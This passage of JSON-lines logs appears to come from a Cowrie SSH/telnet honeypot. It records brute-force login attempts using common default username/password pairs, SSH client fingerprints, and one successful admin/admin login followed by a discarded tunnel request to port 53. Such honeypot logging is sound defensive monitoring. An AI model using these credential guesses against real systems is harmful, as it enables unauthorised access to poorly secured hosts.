y1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:53.852559Z","src_ip":"45.156.87.204","session":"e46551e728a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"admin","message":"login attempt [debian/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:53.948974Z","src_ip":"94.26.106.229","session":"6adcc927c924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:54.099848Z","src_ip":"45.156.87.204","session":"e46551e728a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:54.466444Z","src_ip":"94.26.106.229","session":"ed98d53db4af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:55.040971Z","src_ip":"94.26.106.229","session":"6adcc927c924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:55.185147Z","src_ip":"45.156.87.204","session":"e46551e728a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":42266,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d637c32d95e","protocol":"ssh","message":"New connection: 94.26.106.229:42266 (159.203.135.109:22) [session: 9d637c32d95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:56.079093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:56.084207Z","src_ip":"94.26.106.229","session":"9d637c32d95e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:56.167635Z","src_ip":"94.26.106.229","session":"9d637c32d95e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:56.417277Z","src_ip":"94.26.106.229","session":"9d637c32d95e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38492,"dst_ip":"10.17.0.5","dst_port":23,"session":"756b2f20af0a","protocol":"telnet","message":"New connection: 152.42.224.71:38492 (10.17.0.5:23) [session: 756b2f20af0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:56.645851Z"}
{"eventid":"cowrie.session.closed","duration":11.578149318695068,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:57.474549Z","src_ip":"152.42.224.71","session":"e86d48c8ce28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:57.503380Z","src_ip":"94.26.106.229","session":"9d637c32d95e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49616,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ba49af65bf2","protocol":"ssh","message":"New connection: 45.156.87.204:49616 (159.203.135.109:22) [session: 4ba49af65bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:57.518469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:57.558123Z","src_ip":"45.156.87.204","session":"4ba49af65bf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:57.619804Z","src_ip":"45.156.87.204","session":"4ba49af65bf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:57.943322Z","src_ip":"45.156.87.204","session":"4ba49af65bf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":28300,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4885cef1a35","protocol":"ssh","message":"New connection: 94.26.106.229:28300 (159.203.135.109:22) [session: b4885cef1a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:58.160474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:58.164847Z","src_ip":"94.26.106.229","session":"b4885cef1a35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:58.247790Z","src_ip":"94.26.106.229","session":"b4885cef1a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":42280,"dst_ip":"159.203.135.109","dst_port":22,"session":"127bbaacbd8f","protocol":"ssh","message":"New connection: 94.26.106.229:42280 (159.203.135.109:22) [session: 127bbaacbd8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:58.267942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:58.272873Z","src_ip":"94.26.106.229","session":"127bbaacbd8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:58.361947Z","src_ip":"94.26.106.229","session":"127bbaacbd8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:58.498428Z","src_ip":"94.26.106.229","session":"b4885cef1a35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:58.625020Z","src_ip":"94.26.106.229","session":"127bbaacbd8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46676,"dst_ip":"10.17.0.5","dst_port":22,"session":"347cce9e5739","protocol":"ssh","message":"New connection: 87.251.64.176:46676 (10.17.0.5:22) [session: 347cce9e5739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:58.973713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:58.978937Z","src_ip":"87.251.64.176","session":"347cce9e5739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:59.027324Z","src_ip":"45.156.87.204","session":"4ba49af65bf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:59.075799Z","src_ip":"87.251.64.176","session":"347cce9e5739","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:59.367284Z","src_ip":"87.251.64.176","session":"347cce9e5739","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:59.466156Z","session":"347cce9e5739","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:59.564259Z","src_ip":"87.251.64.176","session":"347cce9e5739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:59.584775Z","src_ip":"94.26.106.229","session":"b4885cef1a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38502,"dst_ip":"10.17.0.5","dst_port":23,"session":"44a115b53fce","protocol":"telnet","message":"New connection: 152.42.224.71:38502 (10.17.0.5:23) [session: 44a115b53fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:59.642917Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:59.664986Z","src_ip":"87.251.64.176","session":"347cce9e5739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:59.715827Z","src_ip":"94.26.106.229","session":"127bbaacbd8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":42294,"dst_ip":"159.203.135.109","dst_port":22,"session":"c29dd6ed3a5e","protocol":"ssh","message":"New connection: 94.26.106.229:42294 (159.203.135.109:22) [session: c29dd6ed3a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:00.639587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:00.683293Z","src_ip":"94.26.106.229","session":"c29dd6ed3a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:00.751163Z","src_ip":"94.26.106.229","session":"c29dd6ed3a5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"natasha1","message":"login attempt [root/natasha1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:01.087021Z","src_ip":"94.26.106.229","session":"c29dd6ed3a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49628,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b5f1c9d726d","protocol":"ssh","message":"New connection: 45.156.87.204:49628 (159.203.135.109:22) [session: 2b5f1c9d726d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:01.129052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:01.134184Z","src_ip":"45.156.87.204","session":"2b5f1c9d726d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:01.217232Z","src_ip":"45.156.87.204","session":"2b5f1c9d726d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:01.476661Z","src_ip":"45.156.87.204","session":"2b5f1c9d726d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:02.174145Z","src_ip":"94.26.106.229","session":"c29dd6ed3a5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:02.561331Z","src_ip":"45.156.87.204","session":"2b5f1c9d726d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":42310,"dst_ip":"159.203.135.109","dst_port":22,"session":"506fd33e8c4b","protocol":"ssh","message":"New connection: 94.26.106.229:42310 (159.203.135.109:22) [session: 506fd33e8c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:02.837919Z"}
